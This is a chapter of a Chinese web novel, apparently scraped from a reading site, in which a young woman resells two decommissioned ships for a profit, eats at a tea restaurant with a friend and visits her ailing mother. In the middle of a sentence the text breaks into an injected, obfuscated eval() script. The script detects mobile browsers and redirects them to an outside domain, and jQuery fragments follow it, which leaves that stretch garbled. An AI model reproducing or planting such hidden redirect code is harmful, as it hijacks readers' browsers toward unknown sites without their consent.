报废船很大,是走水路运来的。
拍卖会现场只有一些出样的部件和照片,客人买下后,再安排去提货。
舒纫兰打算找个修船师傅一起去看一下,这报废船如果要投入使用,大概还需要多少费用。
毕竟她手里的资金寥寥无几。
提货点在皇后码头。
舒纫兰在那附近转悠,看到了一家修船店。
店面不大,就用铁皮搭了两间铺子,挂上一张塑料泡沫做的招牌。
——上题:‘刚子修船厂’。
舒纫兰噗嗤笑出声,本来选这间店的初衷,完全是因为它简陋,价格应该不会太贵,没想到老板还挺有志气,自我定位是一家修船‘厂’,有意思。
“有人吗?”
舒纫兰走近,发现库房一样的两间铺子堆满了各种机械零件,却没看见人。
她又试着喊了两声:“有人吗?老板在吗?”
“有……有人。”一旁拆开的船舱底部钻出来一个男人,脏污油腻的手上拿着把扳手,睡眼惺忪,似乎刚才修船修睡着了?
男人约莫三十来岁,寸头大耳朵,黝黑的皮肤很健康。
他见来人是两个小姑娘,刚睡醒的眼里有些疑惑,“你们做什么的?”
舒纫兰平时不是个八面玲珑的社交达人,但需要社交的时候也不怯场,嘴角堆笑道:“刚子哥,我有两艘船想找你看看,能不能修?”
“你要修船?”男人还以为是小姑娘的玩笑话,“还有你怎么知道我叫刚子?”
舒纫兰笑眯眯地指了指头顶的招牌,“我看你这气质,就知道是这家刚子修船厂的老板——刚子。”
其实她是觉得这家“厂”除了老板,应该雇佣不起第二个员工。
“小姑娘还挺有眼光。”男人莫名很受用,衔了根烟在指尖,没有抽,“我叫戚子刚,你真有船要修?”
“那是当然,还有两艘呢。就在前面码头,刚子哥你要是这会儿有空的话,可以跟我过去看看。”舒纫兰熟稔地递话。
戚子刚觑眼思了一会儿,“行吧。”
这小姑娘看着挺机灵,跟过去看看也无妨。
戚子刚跟着到了码头,看见两艘巨大的家伙,双眼直放光,“小姑娘,这真是你搞来的船?UZ74-320,这可是军用的东西。”
“刚子哥,想不到你还是行家,一眼就知道船的型号。”舒纫兰欣慰道。
戚子刚语气骄傲,“那是,我从小就对船只感兴趣,什么型号什么特点我都了如指掌。”
舒纫兰忙问:“那你快看看,能修吗?”
戚子刚绕着船舱走了一圈,然后去到控制室,上敲敲,下摸摸,“修是能修,不过嘛……不便宜。”
“不便宜是多少钱?”舒纫兰商量道,“我资金不多。简单修一下,能运杂货,布品就行。”
“只要下水,就得花不少钱。你这船里面很多配件早就停产了,我都得去市场上淘。能不能找到还得看运气。”戚子刚眯起眼咂摸了一个数,“两艘都搞定,起码得十来万。”
“什么?这太贵了。”舒纫兰没想到她一万买来的船,居然要花十多万来修。
“这还只是修船的费用。”戚子刚觑眼打量人,“小姑娘一看你就不大懂船吧,船只每次出海还需要高昂的维护费用,买船容易养船难。”
舒纫兰犯难了,母亲给的五千,外加舒炳华给的每月零花,她统共也就两万不到。现在买两艘船花了一万,剩下的钱,远远不够来修这两艘船的。
一旁的霍晴姿见状跟她小声耳语,“纫兰,你真要修这两艘船的话,我可以借钱给你,如果你一时还不上,也不要紧。什么时候想起来还,就什么时候还。”
这话不就等于,‘你要多少钱就拿去用,想不起来还也没关系’。难为霍小姐还能体察普通老百姓的自尊心,用了‘借’这个字眼。
舒纫兰对上霍晴姿真诚的目光,心里一阵感动,不过这回她不打算再沾霍小姐的光。
一来,十万块不是个小数目,即便对霍小姐来说算不上什么,可对她来说,这份人情有点重了。
二来,这修船小哥又说看运气,又说十来万的,没个确切的数目,不知多少是个头。她买这两艘船,还有一个目的是要解决舒家下个月的货运问题,就算她现在拿出十万块,这修船小哥能保证下个月船下水吗?
舒纫兰正在心里盘算,戚子刚又道:“你要是一时拿不出这么多钱,我能给你条后路。”
“什么后路?”
戚子刚眨了眨眼道:“要不你把船卖给我吧,至少你不会亏太多。”
这句话,戚子刚一看到两艘大家伙的时候就想说了。
他在船圈子里混迹,当然也知道最近是入手船只的好时机,奈何小本经营,资金不够买艘像模像样的大船。这两艘退役军船的出现,简直是撞在了他的心上。
舒纫兰听他这么说,明白了八九分,原来这人先前诸多困难,是在打她这两艘船的主意。
这两艘半吊子船,也不是不能转手卖,但她不做亏本买卖。
只见舒纫兰凝眉,做出一副难办的样子,“刚子哥,我不是不想卖,但我下个月急需用船。现在船只紧缺,租船不易,我好不容易才弄到这两艘大船,要是卖给你,家里生意就做不下去了。”
戚子刚问:“你家做什么生意的?”
“纺织生意,有一批布料要发往非洲,现在货都赶得差不多了,就等着船发货。”
“这样吧,你如果愿意把这两艘船卖给我,我保证下个月把船修出来,一定给你把货送到。”戚子刚跃跃欲试。
“那也行,不过这价格嘛……”舒纫兰仍旧皱着眉。
“价格好说。”戚子刚急于买船,正在兴头上,“我出五万买你这两艘退役船,你看如何?”
舒纫兰心中欢喜,脸上仍旧稳着声色,“嗯……行吧,我看刚子哥你人不错,今天就同你做这个买卖,权当是交了你这个朋友。”
“成交!实不相瞒我从小就有个航海梦,一直梦想着能有自己的船队,我也知道凭我现在的经济条件,这就是痴人说梦……嘿嘿,扯远了……”戚子刚喜上眉梢,伸出一只手在身上蹭了蹭,递给舒纫兰,“姑娘,你叫什么名字?”
舒纫兰握上他粗糙的大手,“我叫舒纫兰。”
“好,舒小姐,从今日起,我戚子刚就认你这个朋友。往后只要是这个码头的事,报我刚子的名字,处处都能给你行个方便。”
舒纫兰嘴角泛笑,“那提前谢谢刚子哥了。”
霍晴姿在旁边看得目瞪口呆,一直到两人收了钱,回到车上,她还在回味刚才舒纫兰的一通操作。
“纫兰,就这一下午,我们逃了三节课的功夫,你靠嘴皮子,就净赚了整整四万块?最厉害的是,那个戚子刚还对你感恩戴德,明明是你挣了他的钱呀!”
舒纫兰笑笑,“我也没想到运气好,能这么顺利。”
霍晴姿夸道:“你这可不只是运气好。我看你为人处世很是老练睿智,能让我学到好多。比我哥还要厉害呢。”
“霍小姐高看我了,霍总雷厉风行,生意做那么大,我跟他比还差得远。”舒纫兰心中高兴,语气欢快,“我请你喝下午茶吧?用我的第一桶金。”
“好呀好呀。你现在是有钱人了,的确应该请客哈哈。”
两人来到一家茶餐厅。
舒纫兰对这些不熟悉,店是霍晴姿选的,据说是香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862011|176078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江最好吃的茶餐厅。
金灿灿的菠萝包,奶香四溢的西多士,蛋香浓郁的牛油蛋挞摆了满满一桌子。
“这个红豆冰好好吃。”舒纫兰吸了一大口,享受那种碎雪般的冰沙和绵密甜腻的红豆,在舌尖一起化开的美好口感。
“当然,这个红豆冰是这家的招牌。还有这个菠萝包,顶上的糖霜特别正。”霍晴姿递了一个过去。
舒纫兰咬了一口。
“咔嚓”一声脆响,碎裂的糖霜脆皮,带着焦香,底下的面包体裹着黄油,像是麦香味的云朵,让人吃了一口,还想吃下一口。
“这些甜食,吃起来真是让人满足。”舒纫兰眯着眼角,很是享受。
“是啊,我最喜欢吃这些甜腻腻的东西,尤其心情不好的时候。”霍晴姿狠狠咬了一大口巧克力西多士。
舒纫兰扬起眼角,“你心情不好吗?”
“也不算吧,就是有点烦。”霍晴姿挠头。
“怎么了?”
“我哥给我找的那个MBA辅导课,这周要测验了。纫兰,你这周会来跟我一起上课吧?”
舒纫兰点头,“去,这段时间去你家听课,我还挺有收获的。”
“那太好了。”霍晴姿拉着人手臂,“测验你帮我答吧。”
舒纫兰:“啊?这要怎么答?就在老师眼皮子底下搞小动作吗?”
霍晴姿:“唐老师我已经搞定了,她不会多嘴。你模仿我的字迹答卷子就行。主要就是应付我哥的检查,他可能会看我的答卷,所以你别答太高分,过得去就行。”
舒纫兰颔首,“行,这周我一定去你家。”
两人边吃下午茶边聊天,很是开心。
临走的时候,舒纫兰打包了份菠萝包和红豆冰,准备带回去给林丽珍尝尝。
舒家。
暮色中的耳楼像艘搁浅的旧船,墙皮剥落处渗出灰褐色的霉斑。
舒纫兰拎着茶餐厅的塑料袋走到廊下,只听得静悄悄一片。
厨房里飘出白粥的米香。
杏香正守着煤球炉打瞌睡,见舒纫兰回来连忙起身,“纫兰小姐来了?太太刚睡下。”
“这么早?”舒纫兰看了眼腕表,时针刚划过五点。
“这两天要入冬了,太太咳得厉害……”杏香声音压得更低,“这耳楼朝北,整日不见阳光,夜里穿堂风又大……”
舒纫兰走到卧房窗下,中药的苦涩混着霉味扑面而来。
林丽珍蜷缩在棉被里,单薄得像片枯叶。
一阵冷风掠过,百叶窗“啪”地撞在窗框上,睡梦中的人立刻痉挛般轻咳起来。
杏香看着纫兰手里的甜品袋,小声说:“一会儿太太醒了,我跟她说纫兰小姐带着吃的来看过她,不过太太现在吃不得凉的,这些东西您还是自己吃吧。”
舒纫兰:“那你吃吧。”
杏香眼里闪过一瞬间的光,继而又推辞,“我不吃,我吃不惯这些甜的。”
“你就拿着吧。”舒纫兰将菠萝包和红豆冰推给她,“小姑娘家家哪有不爱吃甜的。”
杏香脸颊染上赧色,垂下脸道:“谢谢小姐。”
舒纫兰知道在她回家之前,偌大的舒家,也就只有杏香一个人,对林丽珍还有几分真心。
“你照顾妈妈有功,这点吃的是你应得的。”舒纫兰道。
杏香连连点头,“照顾太太是我应该做的。”
由于母亲睡着了,舒纫兰就没进去打扰,独自在廊下站了一会儿。
微寒的晚风袭过,卧房的窗棂颤抖着,里面不时传来母亲断续的咳嗽声。
舒纫兰的目光暗了暗。
不远处主楼的灯光透过树影,在她脸上投下摇曳的暗纹。